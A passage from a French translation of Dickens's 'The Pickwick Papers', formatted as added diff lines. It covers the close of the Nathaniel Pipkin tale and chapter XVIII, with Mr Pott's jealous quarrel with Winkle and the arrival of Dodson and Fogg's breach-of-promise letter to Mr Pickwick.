+chaque fois qu'il mettait la main sur le cousin, il ne manquait pas de
+trouver Maria Lobbs auprès de lui. La petite cousine et les autres
+jeunes filles étaient sans cesse occupées à le pousser, à lui tirer les
+cheveux, à lui jeter des chaises dans les jambes, à lui faire toutes les
+misères imaginables; mais Maria Lobbs ne semblait jamais l'approcher, et
+une fois Nathaniel Pipkin aurait pu jurer qu'il avait entendu le bruit
+d'un baiser suivi d'une faible remontrance de Maria Lobbs, et des rires
+à demi étouffés de ses bonnes amies. Tout cela était singulier, et on ne
+saurait dire ce que le petit homme aurait pu faire ou ne pas faire, en
+conséquence, si ses pensées n'avaient pas été forcées soudainement de
+prendre un autre cours.
+
+La circonstance qui força ses pensées à prendre un autre cours, c'est
+qu'il entendit frapper violemment à la porte de la rue, et la personne
+qui frappait à la porte de la rue n'était autre que le vieux Lobbs
+lui-même. Il était revenu inopinément, et il tapait, il tapait, comme un
+fabricant de cercueils, car il n'avait pas encore soupé. Aussitôt que
+cette nouvelle alarmante eut été communiquée par l'apprenti, les jeunes
+filles grimpèrent les escaliers, quatre à quatre pour se réfugier dans
+la chambre à coucher de Maria Lobbs, et, faute d'une meilleure cachette,
+le cousin et Nathaniel furent fourrés dans deux cabinets du parloir.
+Enfin quand la maligne petite cousine et Maria Lobbs les eurent enfermés
+et eurent remis la chambre en ordre, elles ouvrirent la porte de la rue
+au vieux Lobbs, qui n'avait pas cessé de frapper un seul instant.
+
+Il arriva malheureusement que le vieux Lobbs avait faim, et qu'il était
+d'une monstrueuse mauvaise humeur. Nathaniel Pipkin l'entendait
+grommeler comme un vieux dogue enroué, et chaque fois que le malheureux
+apprenti aux jambes grêles entrait dans la chambre, le vieux Lobbs se
+mettait à jurer après lui comme un atroce païen, sans autre but apparent
+que de soulager sa poitrine par la décharge de quelques jurons
+surabondants. A la fin, le souper qu'on avait fait chauffer fut placé
+sur la table; le vieux Lobbs tomba dessus comme la misère sur le pauvre
+monde, et ayant fait les plats nets en un rien de temps, il baisa sa
+fille et demanda sa pipe.
+
+La nature avait placé les genoux de Nathaniel Pipkin fort près l'un de
+l'autre, mais ils s'entre-choquèrent à se briser lorsqu'il entendit le
+vieux Lobbs demander sa pipe. En effet, depuis cinq ans au moins,
+Nathaniel avait vu le vieux sellier fumer régulièrement, tous les soirs,
+dans la même pipe à fourneau d'argent, et cette pipe était suspendue
+précisément dans le cabinet où l'infortuné maître d'école était
+renfermé. Les deux jeunes filles descendirent pour chercher la pipe,
+montèrent pour chercher la pipe, et en un mot cherchèrent la pipe
+partout, excepté où elles savaient fort bien qu'elle se trouvait.
+Pendant ce temps, le vieux Lobbs tempêtait de la manière la plus
+épouvantable. Tout d'un coup il pensa au cabinet et se leva pour y
+regarder. Il était complétement inutile qu'un petit homme, comme
+Nathaniel Pipkin, cherchât à retenir la porte en dedans, quand un grand
+et vigoureux gaillard, comme le sellier, la tirait en dehors. Elle
+s'ouvrit donc et découvrit Nathaniel Pipkin debout dans le cabinet et
+tremblant comme un voleur. Dieu nous bénisse! quel effroyable regard le
+vieux Lobbs lui jeta, en le saisissant par le collet, et en le tenant,
+pour le considérer, à l'extrémité de son bras.
+
+«De par tous les diables! que faites-vous là?» s'écria le sellier d'une
+voix terrible.
+
+Nathaniel Pipkin ne put faire de réponse, et le vieux Lobbs le secoua de
+toutes ses forces, pendant deux ou trois minutes, pour l'aider à mettre
+de l'ordre dans ses idées.
+
+«Que faites-vous ici? Vous êtes venu pour ma fille, apparemment?»
+
+Le vieux Lobbs ne disait cela qu'en manière de sarcasme, car il ne
+croyait pas que la présomption d'un mortel pût conduire Nathaniel Pipkin
+aussi loin. Quelle fut donc son indignation, lorsque le pauvre maître
+d'école répondit:
+
+«C'est vrai, monsieur Lobbs, je suis venu pour votre fille, j'aime votre
+fille, monsieur Lobbs.
+
+--Comment, misérable petit singe! balbutia le vieux Lobbs, paralysé par
+cette étrange confession; qu'est-ce que cela signifie? Me dire cela à ma
+barbe! Dieu me damne! je vais vous étrangler.»
+
+Il n'est nullement improbable que le vieux Lobbs, dans l'excès de sa
+rage, eût exécuté cette menace, s'il n'en avait pas été empêché par une
+apparition complétement inattendue: à savoir le cousin, qui, sortant de
+son cabinet, lui dit en s'approchant:
+
+«Je ne puis laisser cette innocente personne qui a été invitée ici par
+une plaisanterie de jeune fille, prendre sur elle, d'une manière
+très-noble, la faute (si faute il y a) dont je suis seul coupable, et
+que je suis prêt à avouer. J'aime votre fille, monsieur, et je suis venu
+pour la voir.»
+
+Pendant cette déclaration imprévue, le vieux Lobbs ouvrait de grands
+yeux, mais pas plus grands que Nathaniel. A la fin, lorsqu'il retrouva
+assez de souffle pour parler:
+
+«Ah! vous êtes venu pour voir ma fille!
+
+--Oui, monsieur.
+
+--Et ne vous avais-je pas défendu d'entrer ici?
+
+--Oui, monsieur, et sans cela je ne serais pas venu en cachette.»
+
+Je suis fâché de rapporter cela du vieux Lobbs, mais je crois qu'il
+aurait assommé le cousin, si sa jolie fille, dont les yeux brillants
+étaient noyés de larmes, ne s'était point suspendue à son bras.
+
+«Ne le retenez pas, Maria, dit le jeune homme. S'il a envie de frapper
+le fils de sa soeur, laissez-le faire. Pour toutes les richesses du
+monde, je ne toucherais pas un de ses cheveux blancs.»
+
+Les yeux du vieillard s'abaissèrent sous ce reproche, et rencontrèrent
+ceux de Maria. J'ai déjà dit plusieurs fois que c'étaient des yeux
+très-brillants, et quoique alors ils fussent pleins de larmes, leur
+influence n'en était aucunement diminuée. Le vieux Lobbs détourna la
+tête pour éviter d'être persuadé par les regards de sa fille, mais la
+fortune voulut qu'il rencontra ceux de la maligne petite cousine, qui, à
+moitié effrayée pour son frère, à moitié riante et moqueuse en pensant à
+Nathaniel Pipkin, avait une physionomie si touchante et si comique à la
+fois, qu'elle devait nécessairement séduire l'homme qui la regardait,
+jeune ou vieux. Elle passa son bras d'un air câlin dans le bras du
+sellier, et elle lui chuchota quelque chose à l'oreille; et il eut beau
+faire, le vieux Lobbs, il ne put s'empêcher de sourire, tandis qu'une
+larme coulait en même temps sur sa joue.
+
+Cinq minutes après, les jeunes filles furent tirées de la chambre à
+coucher de Maria, avec beaucoup de ricanements et de rougeur; puis,
+tandis que les jeunes gens s'arrangeaient pour être parfaitement
+heureux, le vieux Lobbs aveignit sa pipe et la fuma: c'est une
+circonstance remarquable, que cette pipe de tabac fut précisément la
+plus douce et la plus consolante qu'il eût jamais fumée de sa vie.
+
+Nathaniel Pipkin jugea convenable de garder son secret. Par ce moyen il
+se trouva graduellement en grande faveur auprès du riche sellier, qui
+lui apprit à fumer en mesure. Pendant un grand nombre d'années, on put
+les voir tous les deux, assis le soir dans le jardin du vieux Lobbs,
+fumant et buvant en grande pompe. Nathaniel se rétablit apparemment
+bientôt de sa passion, car, dans le registre de la paroisse, nous
+trouvons son nom parmi ceux des témoins du mariage de Maria Lobbs avec
+son cousin. Il paraît en outre, d'après un autre document, que dans la
+nuit des noces, il fut conduit au violon du village pour avoir, dans un
+état complet d'ivresse, commis dans les rues différents excès, dont
+l'apprenti aux jambes grêles s'était rendu fauteur et complice.
+
+
+
+
+CHAPITRE XVIII.
+
+Qui prouve brièvement deux points: savoir, le pouvoir des attaques de
+nerfs et la force des circonstances.
+
+
+Pendant deux jours, après le déjeuner de mistress Chasselion et le
+départ précipité de M. Pickwick, les trois disciples de ce savant homme
+restèrent à Eatanswill, attendant avec anxiété quelque nouvelle de leur
+respectable ami. M. Tupman et M. Snodgrass étaient de nouveau abandonnés
+à leurs propres ressources, car M. Winkle, cédant aux invitations les
+plus pressantes, continuait de résider chez M. Pott, et de dévouer tout
+son temps à la société de son aimable épouse. M. Pott lui-même, pour
+compléter leur félicité, se joignait de temps en temps à la
+conversation. Habituellement absorbé par la profondeur de ses
+spéculations pour le bien public et pour la destruction de
+l'_Indépendant_, ce grand homme n'était pas accoutumé à s'abaisser des
+hauteurs de l'intelligence dans les humbles vallées qu'habitent les
+esprits ordinaires. Toutefois, dans cette occasion et comme pour honorer
+un disciple de M. Pickwick, il se dérida, il se courba, il descendit de
+son piédestal, il consentit à marcher sur la terre, adaptant avec
+bénignité ses remarques à la compréhension du vulgaire et se confondant,
+du moins quant aux formes extérieures, avec le troupeau des humains.
+
+Telle ayant été la conduite de cet illustre publiciste vis-à-vis de M.
+Winkle, on comprendra facilement la surprise de celui-ci, lorsqu'un
+matin où il se trouvait seul, assis dans la salle à manger, il entendit
+la porte s'ouvrir avec violence et se refermer de même, et vit M. Pott
+s'avancer majestueusement, repousser la main qu'il lui tendait avec
+amitié, grincer des dents comme pour rendre ses paroles plus incisives,
+et dire avec une voix semblable au cri aigu d'une scie:
+
+«Serpent!
+
+--Monsieur! s'écria M. Winkle en tressaillant et en se levant de sa
+chaise.
+
+--Serpent, monsieur!» répéta Pott en élevant la voix. Puis, en
+l'abaissant tout à coup, il ajouta: «J'ai dit serpent, monsieur. Vous me
+comprenez, j'espère?»
+
+Or, quand on a quitté un homme à deux heures du matin, avec des
+expressions d'intérêt, de bienveillance et d'amitié réciproques, et
+quand on le revoit à neuf heures et demie et qu'il vous traite de
+_serpent_, il n'est point déraisonnable de conclure qu'il doit être
+arrivé dans l'intervalle quelque chose d'une nature déplaisante. C'est
+aussi ce que pensa M. Winkle. Il renvoya à M. Pott son regard glacial,
+et, conformément à l'espoir exprimé par ce gentleman, il fit tous ses
+efforts pour comprendre le _serpent_, mais il n'en put venir à bout, et
+après un profond silence, qui dura plusieurs minutes, il dit:
+
+«Serpent, monsieur? Serpent, M. Pott? Qu'est-ce que vous entendez par
+là, monsieur? c'est une plaisanterie apparemment?
+
+--Une plaisanterie, monsieur! s'écria l'éditeur avec un mouvement de la
+main qui indiquait un violent désir de jeter à la tête de son hôte la
+théière de métal anglais; une plaisanterie, monsieur!... Mais, non; je
+serai calme; je veux être calme, monsieur!... Et pour prouver qu'il
+était calme, M. Pott se jeta dans un fauteuil en écumant de la bouche.
+
+--Mon cher monsieur... lui représenta M. Winkle.
+
+--Cher monsieur! Comment osez-vous m'appeler _cher monsieur_, monsieur?
+Comment osez-vous me regarder en face, en m'appelant ainsi?
+
+--Ma foi, monsieur, si nous en venons-là, comment osez-vous me regarder
+en face, en m'appelant _serpent_?
+
+--Parce que vous en êtes un.
+
+--Prouvez-le, s'écria M. Winkle avec chaleur. Prouvez-le!»
+
+Un nuage sombre et menaçant passa sur le visage profond de l'éditeur. Il
+tira de sa poche _l'Indépendant_, qu'on venait de lui apporter, et le
+passa par-dessus la table à M. Winkle, en lui montrant du doigt un
+paragraphe.
+
+Le Pickwickien étonné prit le journal et lut tout haut ce qui suit:
+
+«Notre obscur et ignoble contemporain, dans ses observations dégoûtantes
+sur les dernières élections de cette cité, a eu l'infamie de violer le
+sanctuaire sacré de la vie privée et de faire des allusions fort claires
+aux affaires personnelles de notre dernier candidat; oui, et nous dirons
+même, malgré le honteux résultat de l'intrigue, aux affaires
+personnelles de notre futur représentant, M. Fizkin, qui, malgré un
+échec dû à d'ignobles menées, n'en sera pas moins notre représentant un
+jour ou l'autre. A quoi pense donc notre lâche contemporain? Que
+dirait-il, ce malheureux, si, méprisant comme lui les convenances de la
+société, nous levions le rideau qui, heureusement pour lui, dérobe les
+turpitudes de sa vie privée au ridicule public, pour ne pas dire à
+l'exécration publique? Que dirait-il si nous indiquions, si nous
+commentions des circonstances notoires et aperçues par tout le monde,
+excepté par notre aveugle contemporain? Que dirait-il, si nous
+imprimions l'effusion suivante, que nous avons reçue au moment de mettre
+sous presse et qui nous est adressée par un de nos concitoyens de cette
+ville, l'un de nos plus spirituels correspondants?...
+
+VERS ADRESSÉS A UN POT DE CUIVRE.
+
+            O pot, si vous aviez prévu,
+    Ce qui de tout le monde est maintenant connu,
+    Quand les cloches pour vous dans l'église ont fait _tinkle_;
+    Vous auriez fait alors ce qui ne se peut plus,
+    Et, donnant à madame un bel et bon refus,
+            Vous l'auriez envoyée à W....
+
+--Eh bien! dit M. Pott avec solennité; eh bien! scélérat! qu'est-ce qui
+rime avec _tinkle_?
+
+--Ce qui rime avec _tinkle_? interrompit mistress Pott, qui entrait dans
+la chambre en ce moment et qui n'avait entendu que les derniers mots, ce
+qui rime avec _tinkle_? c'est _Winkle_, j'imagine.»
+
+En prononçant ces paroles, mistress Pott sourit gracieusement au
+Pickwickien agité, en lui tendant la main. Dans sa confusion l'honnête
+jeune homme allait serrer cette main, lorsque M. Pott indigné se jeta
+entre eux deux.
+
+«Arrière, madame! arrière! s'écria-t-il. Prendre sa main à mon nez, à ma
+barbe!
+
+--Monsieur Pott! fit son épouse étonnée.
+
+--Misérable femme! regardez ici! regardez ici, madame! _Vers adressés à
+un Pot_... C'est moi, madame! _Vous l'auriez renvoyée à Winkle_....
+C'est vous, madame, vous!» Avec cette ébullition de rage, accompagnée
+cependant d'une sorte de tremblement, occasionné par l'expression du
+visage de sa femme, M. Pott lança à ses pieds le numéro de
+_l'Indépendant_.
+
+«Eh bien, monsieur? dit mistress Pott en se baissant, tout étonnée, pour
+ramasser le journal; eh bien, monsieur?»
+
+M. Pott fléchit sous le regard méprisant de sa femme. Il fit un effort
+désespéré pour rassembler tout son courage, mais ce fut en vain.
+
+Lorsqu'on lit cette courte phrase: «Eh bien, monsieur?» il ne semble pas
+qu'elle contienne rien de bien effrayant. Mais le ton de voix dont elle
+fut prononcée, le regard qui l'accompagna, paraissaient annoncer quelque
+future vengeance, suspendue par un cheveu sur la tête de l'éditeur, et
+qui produisit sur lui un effet magique. L'observateur le plus inhabile
+aurait découvert, dans son maintien troublé, un singulier empressement à
+céder sa culotte à quiconque aurait consenti à s'y tenir dans ce moment.
+
+Mme Pott lut le paragraphe, poussa un cri déchirant, et se jeta tout de
+son long sur le tapis du foyer; là, étendue sur le dos, elle frappa le
+plancher de ses talons avec une assiduité et une violence qui ne
+laissaient aucun doute sur la délicatesse de ses sentiments, dans cette
+occasion.
+
+«Ma chère, balbutia M. Pott, dans sa terreur, ma chère, je n'ai pas dit
+que je croyais cela. Je... je n'ai pas....» Mais la voix du malheureux
+mari était couverte par les hurlements de sa gracieuse moitié.
+
+«Madame Pott, reprit M. Winkle, ma chère dame, permettez-moi de vous
+supplier de vous tranquilliser un peu.» Inutile! les cris et les coups
+de talons étaient plus violents et plus fréquents que jamais.
+
+«Ma chère, recommença l'éditeur, je suis bien fâché.... Si ce n'est pas
+pour votre santé, que ce soit pour moi.... Vous allez attirer toute la
+populace autour de notre maison....» Mais plus M. Pott mettait de
+chaleur dans ses supplications, plus son épouse mettait de vigueur dans
+ses cris.
+
+Très-heureusement cependant, Mme Pott avait attaché à sa personne une
+sorte de garde du corps, dans la personne d'une jeune _lady_ dont
+l'emploi ostensible était de présider à la toilette de sa maîtresse,
+mais qui se rendait utile d'une infinité d'autres manières, et
+principalement en aidant cette aimable femme à contrecarrer chaque
+désir, chaque inclination du malheureux journaliste. Les hurlements
+hystériques de Mme Pott atteignirent bientôt les oreilles de ladite
+garde du corps, et l'amenèrent dans le parloir, avec une rapidité qui
+menaçait de déranger matériellement l'harmonie exquise de son bonnet et
+de sa chevelure.
+
+«O ma chère maîtresse! ma chère maîtresse! s'écria la jeune personne, en
+s'agenouillant d'un air égaré à côté de la gisante Mme Pott; ô ma chère
+maîtresse! qu'est-ce que vous avez?
+
+--Votre maître!... votre brutal de maître....» balbutia la malade.
+
+Pott faiblissait évidemment.
+
+«C'est une honte! dit la jeune fille d'un ton de reproche. Je suis sûre
+qu'il vous fera mourir, madame. Pauvre cher ange!»
+
+Pott faiblit encore plus: l'autre parti continua ses attaques.
+
+«Oh! ne m'abandonnez pas! Ne m'abandonnez pas, Goodwin! murmura Mme
+Pott, en s'attachant avec une force convulsive au poignet de la jeune
+demoiselle. Vous êtes la seule personne qui m'aimiez, Goodwin!»
+
+A cette apostrophe touchante, miss Goodwin monta, de son côté, une
+petite tragédie, et versa des larmes en abondance.
+
+«Jamais! madame, soupira-t-elle. Ah! monsieur, vous devriez prendre
+garde.... Vous devriez être prudent! vous ne savez pas quel mal vous
+pouvez faire à ma maîtresse. Vous en seriez fâché un jour.... Je le sais
+bien... je l'ai toujours dit!»
+
+Le malheureux Pott regarda sa moitié d'un air timide, mais il ne dit
+rien.
+
+«Goodwin.... dit Mme Pott, d'une voix douce.
+
+--Madame?
+
+--Si vous saviez combien j'ai aimé cet homme-là!
+
+--Ne vous tourmentez pas en vous rappelant ça, madame.»
+
+Pott laissa voir qu'il était effrayé; c'était le moment de frapper un
+coup décisif.
+
+«Et maintenant! sanglota Mme Pott, maintenant! Après tant d'amour, être
+traitée comme cela! Être méconnue! être insultée! en présence d'un
+tiers, d'un _étranger_! Mais je ne me soumettrai pas à cela, Goodwin,
+continua Mme Pott en se soulevant, dans les bras de sa suivante. Mon
+frère le lieutenant me protégera.... Je veux une séparation, Goodwin.
+
+--Certainement, madame. Il le mériterait bien.»
+
+Quelles que fussent les pensées qu'une menace de séparation pût exciter
+dans l'esprit de l'éditeur, il ne les exprima pas; mais il se contenta
+de dire avec grande humilité: «Ma chère âme, voulez-vous m'entendre?»
+
+Une nouvelle décharge de sanglots fut la seule réponse, et Mme Pott,
+devenue encore plus nerveuse, demanda, d'une voix entrecoupée, pourquoi
+elle avait été mise au monde, pourquoi elle s'était mariée, et voulut
+être informée d'une foule d'autres secrets de ce genre.
+
+«Ma chère, lui remontra M. Pott, ne vous abandonnez pas à ces
+sentiments exaltés. Je n'ai jamais cru que ce paragraphe eût aucun
+fondement; aucun, ma chère! Impossible! J'étais seulement irrité, je
+puis dire furieux, ma chère, contre les éditeurs de l'_Indépendant_ qui
+ont eu l'insolence de l'insérer. Voilà tout.» En parlant ainsi, M. Pott
+jeta un regard suppliant à le cause innocente du grabuge, pour l'engager
+à ne point parler du _serpent_.
+
+«Et quelles démarches ferez-vous, monsieur, pour obtenir satisfaction?
+demanda M. Winkle, qui reprenait du courage, en voyant que M. Pott
+perdait le sien.
+
+--O Goodwin, murmura Mme Pott; va-t-il cravacher l'éditeur de
+l'_Indépendant_? le fera-t-il, Goodwin?
+
+--Chut! chut! madame. Calmez-vous, je vous en prie! Certainement, il le
+cravachera si vous le désirez, madame.
+
+--Assurément, reprit Pott, en voyant que sa moitié était sur le point de
+retomber en faiblesse. Nécessairement, je le cravacherai....
+
+--Quand? Goodwin, quand? poursuivit Mme Pott, ne sachant pas encore si
+elle devait retomber.
+
+--Sans délai, naturellement, répondit l'éditeur: avant que le jour soit
+terminé.
+
+--O Goodwin! reprit la dame, c'est le seul moyen d'apaiser le scandale,
+et de me remettre sur un bon pied dans le monde.
+
+--Certainement, madame; aucun homme, s'il est un homme, ne peut se
+refuser à faire cela.»
+
+Cependant les attaques de nerfs planaient toujours sur l'horizon. M.
+Pott répéta de nouveau qu'il cravacherait, mais Mme Pott était si
+accablée par la seule idée d'avoir été soupçonnée, qu'elle fut une
+douzaine de fois sur le point de retomber; et probablement une rechute
+serait arrivée, sans les efforts infatigables de l'attentive Goodwin, et
+sans les supplications repentantes du parti vaincu. A la fin, quand le
+malheureux Pott fut convenablement maté et complétement remis à sa
+place, Mme Pott se trouva mieux, et nos trois personnages commencèrent à
+déjeuner.
+
+«J'espère, dit Mme Pott avec un sourire qui brillait à travers les
+traces de ses larmes, j'espère, monsieur Winkle, que les basses
+calomnies de ce journal n'accourciront pas votre séjour avec nous.
+
+--J'espère que non, ajouta M. Pott, qui dans son coeur souhaitait
+ardemment que son hôte s'étouffât avec le morceau de rôtie qu'il portait
+dans ce moment à sa bouche, et terminât ainsi ses visites. J'espère que
+non.
+
+--Vous êtes bien bon, répondit M. Winkle; mais, ce matin, j'ai trouvé à
+la porte de ma chambre à coucher une note de M. Tupman, pour m'annoncer
+que M. Pickwick nous écrit de le rejoindre aujourd'hui à Bury. Nous
+devons partir par la voiture de midi....
+
+--Mais vous reviendrez? dit mistress Pott.
+
+--Oh! certainement.
+
+--En êtes-vous bien sûr? continua la dame en jetant à la dérobée un
+tendre regard à son hôte.
+
+--Certainement, répondit M. Winkle.»
+
+Le déjeuner se termina en silence, car chacun des assistants ruminait
+sur ses chagrins: mistress Pott regrettait la perte de son cavalier; M.
+Pott, son imprudente promesse de cravacher l'Indépendant; M. Winkle, les
+galanteries qui l'avaient placé dans une si embarrassante situation.
+L'heure de midi approchait, et après beaucoup d'adieux et de promesses
+de retour, M. Winkle s'arracha de cette famille, où il avait été si bien
+reçu.
+
+«S'il revient jamais, je l'empoisonne! pensa M. Pott en se retirant dans
+le petit bureau où il préparait les foudres de son éloquence.
+
+--Si jamais je reviens m'empêtrer parmi ces gens-là, pensa M. Winkle en
+se rendant au Paon d'argent, je mérite d'être cravaché moi-même; voilà
+tout.»
+
+Ses amis étaient prêts, la voiture arriva bientôt, et au bout d'une
+demi-heure les trois pickwickiens accomplissaient leur voyage, par la
+même route que M. Pickwick avait si heureusement parcourue avec Sam.
+Comme nous en avons déjà parlé, nous ne croyons pas devoir extraire la
+belle et poétique description qu'en donne M. Snodgrass.
+
+Sam Weller les attendait à la porte de l'Ange et les introduisit dans
+l'appartement de M. Pickwick. Là, à la grande surprise de M. Winkle et
+de M. Snodgrass, et à l'immense confusion de M. Tupman, ils trouvèrent
+le vieux Wardle avec M. Trundle.
+
+«Comment ça va-t-il? dit le vieillard en serrant la main de M. Tupman.
+Allons! allons! ne prenez pas un air sentimental. Il n'y a pas de remède
+à cela, vieux camarade. Pour l'amour d'elle je voudrais qu'elle vous eût
+épousé, mais dans votre intérêt je suis bien aise qu'elle ne l'ait pas
+fait. Un jeune gaillard comme vous réussira mieux un de ces jours, eh!»
+Tout en proférant ces consolations, le vieux Wardle tapait sur le dos de
+M. Tupman, et riait de tout son coeur.
+
+«Et vous, mes joyeux compagnons, comment ça va-t-il? poursuivit le vieux
+gentleman, en secouant à la fois la main de M. Winkle, et celle de M.
+Snodgrass. Je viens de dire à Pickwick que je voulais vous avoir tous à
+Noël. Nous aurons une noce; une noce réelle, cette fois-ci.
+
+--Une noce! s'écria M. Snodgrass en pâlissant.
+
+--Oui, une noce. Mais ne vous effrayez pas, répliqua le bienveillant
+vieillard; c'est seulement Trundle que voici, et Bella.
+
+--Oh! est-ce là tout? reprit M. Snodgrass, soulagé d'un doute pénible
+qui avait étreint son coeur comme une main de fer. Je vous fais mon
+compliment, monsieur. Comment va Joe?
+
+--Lui? très-bien. Toujours endormi.
+
+--Et madame votre mère? et le vicaire? et tout le monde?
+
+--Parfaitement bien.
+
+--Monsieur, dit M. Tupman avec effort; où est... où est-_elle_?» En
+parlant ainsi il détourna la tête et couvrit ses yeux de ses mains.
+
+«_Elle?_ répliqua le vieux gentleman, en secouant la tête d'un air
+malin. Voulez-vous dire ma soeur, eh?»
+
+M. Tupman indiqua par un signe que sa question se rapportait à la
+demoiselle abandonnée.
+
+«Oh! elle est partie; elle demeure chez une parente, assez loin. Elle ne
+pouvait plus soutenir la vue de mes filles, si bien que je l'ai laissée
+aller. Mais voici le dîner; vous devez être affamé après votre voyage,
+et moi je le suis sans cela. Ainsi donc, à l'oeuvre!»
+
+Ample justice fut faite au repas, et lorsque les restes en eurent été
+enlevés, lorsque nos amis furent établis commodément autour de la table,
+M. Pickwick raconta les mésaventures qu'il avait subies, et le succès
+qui avait couronné la ruse infâme du diabolique Jingle. Ses disciples
+étaient pétrifiés d'indignation et d'horreur.
+
+«Enfin, dit en concluant M. Pickwick, le rhumatisme que j'ai attrapé
+dans ce jardin me rend encore boiteux.
+
+--Moi aussi, j'ai eu une espèce d'aventure, dit M. Winkle, avec un
+sourire; et à la requête de M. Pickwick il rapporta le malicieux
+libelle de l'Indépendant d'Eatanswill, et l'irritation subséquente de
+leur ami, l'éditeur de la Gazette.
+
+Le front de M. Pickwick s'obscurcit pendant ce récit; ses amis s'en
+aperçurent et, lorsque M. Winkle se tut, gardèrent un profond silence.
+M. Pickwick frappa emphatiquement la table avec son poing fermé, et
+parla ainsi qu'il suit:
+
+«N'est-ce pas une circonstance étonnante, que nous semblions destinés à
+ne pouvoir entrer sous le toit d'un homme que pour y porter le trouble
+avec nous. Je vous le demande, ne dois-je pas croire à l'indiscrétion,
+ou, bien pis encore, à l'immoralité de mes disciples, lorsque je les
+vois, dans chaque maison où ils pénètrent, détruire la paix du coeur, le
+bonheur domestique de quelque femme confiante. N'est-ce pas, je le
+dis....»
+
+Suivant toutes les probabilités, M. Pickwick aurait continué sur ce ton
+pendant un certain temps, si l'entrée de Sam avec une lettre n'avait pas
+interrompu son éloquent discours. Il passa son mouchoir sur son front,
+ôta ses lunettes, les essuya et les remit sur son nez: c'était assez; sa
+voix avait recouvré sa douceur habituelle lorsqu'il demanda: «Qu'est-ce
+que vous m'apportez là, Sam?
+
+--Je viens de la poste, monsieur, et j'y ai trouvé cette lettre ici:
+elle y a attendu deux jours; elle est cachetée avec un pain enchanté et
+l'adresse est figurée en ronde.
+
+--Je ne connais pas cette écriture-là, dit M. Pickwick en ouvrant la
+lettre. Le ciel aie pitié de nous! qu'est-ce que ceci? Il faut que ce
+soit un songe! Cela... cela ne peut pas être vrai!
+
+--Qu'est-ce que c'est donc? demandèrent tous les convives.
+
+--Personne de mort! j'espère?» dit M. Wardle, alarmé par l'expression
+d'horreur qui contractait le visage de M. Pickwick.
+
+Le philosophe ne fit pas de réponse, mais passant la lettre par-dessus
+la table, il pria M. Tupman de la lire tout haut, et se laissa retomber
+sur sa chaise avec un air d'étonnement et d'égarement, qui faisait peine
+à voir.
+
+M. Tupman, d'une voix tremblante, lut la lettre ci-dessous rapportée.
+
+     «Freeman's-Court, Cornhill, August, 28e, 1831.
+
+     «BARDELL CONTRE PICKWICK.
+
+     «Monsieur,
+
+     «Ayant été chargés par Mme Martha Bardell de commencer une action
+     contre vous pour violation d'une promesse de mariage, pour
+     laquelle la plaignante fixe ses dommages à quinze cents guinées,
+     nous prenons la liberté de vous informer qu'une citation a été
+     lancée contre vous devant la cour de _Common pleas_; et désirons
+     savoir, courrier pour courrier, le nom de votre avoué à Londres,
+     qui sera chargé de suivre cette affaire.
+
+     «Nous sommes, monsieur, vos obéissants serviteurs.
+
+     «DODSON et FOGG.
+
+     «_M. Samuel Pickwick,_»
+
+Le muet étonnement avec lequel cette lecture fut accueillie avait
+quelque chose de tellement solennel, que chacun des assistants
+paraissait craindre de rompre le silence, et regardait tour à tour ses
+voisins et M. Pickwick. A la fin M. Tupman répéta machinalement: «Dodson
+et Fogg!
+
+--Bardell contre Pickwick, chuchota M. Snodgrass d'un air distrait.
+
+--La paix du coeur, le bonheur domestique de quelque femme confiante!
+murmura M. Winkle avec abstraction.
+
+--C'est un complot! s'écria M. Pickwick, recouvrant enfin le pouvoir de
+parler. C'est un infâme complot de ces deux avoués rapaces. Mme Bardell
+n'aurait jamais fait cela. Elle n'aurait pas le coeur de le faire; elle
+n'en aurait pas le droit. Ridicule! ridicule!
+
+--Quant à son coeur, reprit M. Wardle avec un sourire, vous en êtes
+certainement le meilleur juge; mais pour son droit je vous dirai, sans
+vouloir vous décourager, que Dodson et Fogg en sont meilleurs juges
+qu'aucun de nous ne peut l'être.
+
+--C'est une basse tentative pour m'escroquer de l'argent.
+
+--Je l'espère, répliqua M. Wardle avec une toux sèche et courte.
+
+--Qui m'a jamais entendu lui parler autrement qu'un locataire doit
+parler à sa propriétaire? continua M. Pickwick avec grande véhémence.
+Qui m'a jamais vu avec elle? Non! pas même mes amis ici présents.
+
+--Excepté une seule fois, interrompit M. Tupman.
+
+M. Pickwick changea de couleur.
+
+«Ah! reprit M. Wardle, ceci est important. Il n'y avait rien de suspect
+cette fois-là, je suppose?»
+
+M. Tupman lança un coup d'oeil timide à son mentor. «Vraiment, dit-il, il
+n'y avait rien de suspect, mais... je ne sais comment cela était
+arrivé.... Il la tenait certainement dans ses bras.
+
+--Juste ciel! s'écria M. Pickwick, le souvenir de la scène en question
+se retraçant avec vivacité à son esprit. Cela est vrai! cela est vrai!
+Quelle affreuse preuve du pouvoir des circonstances!
+
+--Et notre ami tâchait de la consoler, ajouta M. Winkle avec un grain de
+malice.
+
+--Cela est vrai, dit M. Pickwick. Je ne le nierai point, cela est vrai!
+
+--Ho! ho! cria M. Wardle, pour une affaire dans laquelle il n'y a rien
+de suspect, cela a l'air assez drôle. Eh! Pickwick, ah! ah! rusé
+garnement! rusé garnement!» Et il éclata de rire avec tant de force que
+les verres en retentirent sur le buffet.
+
+«Quelle épouvantable réunion d'apparences! s'écria M. Pickwick en
+appuyant son menton sur ses deux mains. Winkle! Tupman! je vous prie de
+me pardonner les observations que je viens de faire à l'instant. Nous
+sommes tous les victimes des circonstances, et moi la plus grande des
+trois!»
+
+Ayant fait cette apologie, M. Pickwick ensevelit sa tête dans ses mains
+et se mit à réfléchir, tandis que M. Wardle adressait aux autres membres
+de la compagnie une collection de clignements d'oeil et de signes de
+tête.
+
+«Quoi qu'il en soit, dit M. Pickwick en relevant son front indigné, et
+en frappant sur la table, je veux que tout cela s'explique. Je verrai ce
+Dodson et ce Fogg. J'irai à Londres, demain.
+
+--Non, pas demain, reprit M. Wardle, vous êtes trop boiteux.
+
+--Eh bien! alors, après-demain.
+
+--Après-demain est le premier septembre, et vous avez promis de venir
+avec nous jusqu'au manoir de sir Geoffrey Manning, pour nous tenir tête
+au déjeuner, si vous ne nous accompagnez pas à la chasse.
+
+--Eh bien! alors, le jour suivant, jeudi. Sam!
+
+--Monsieur?
+
+--Retenez deux places d'impériale pour Londres, pour jeudi matin.
+
+--Très-bien, monsieur.»
+
+Sam Weller partit donc pour exécuter sa commission. Il avait ses mains
+dans ses poches, ses yeux fixés sur la terre et il marchait lentement,
+en se parlant à lui-même.
+
+«Drôle de corps que mon empereur! Faire la cour à cette Mme Bardell,
+une femme qui a un petit moutard! Toujours comme ça qu'ils sont ces
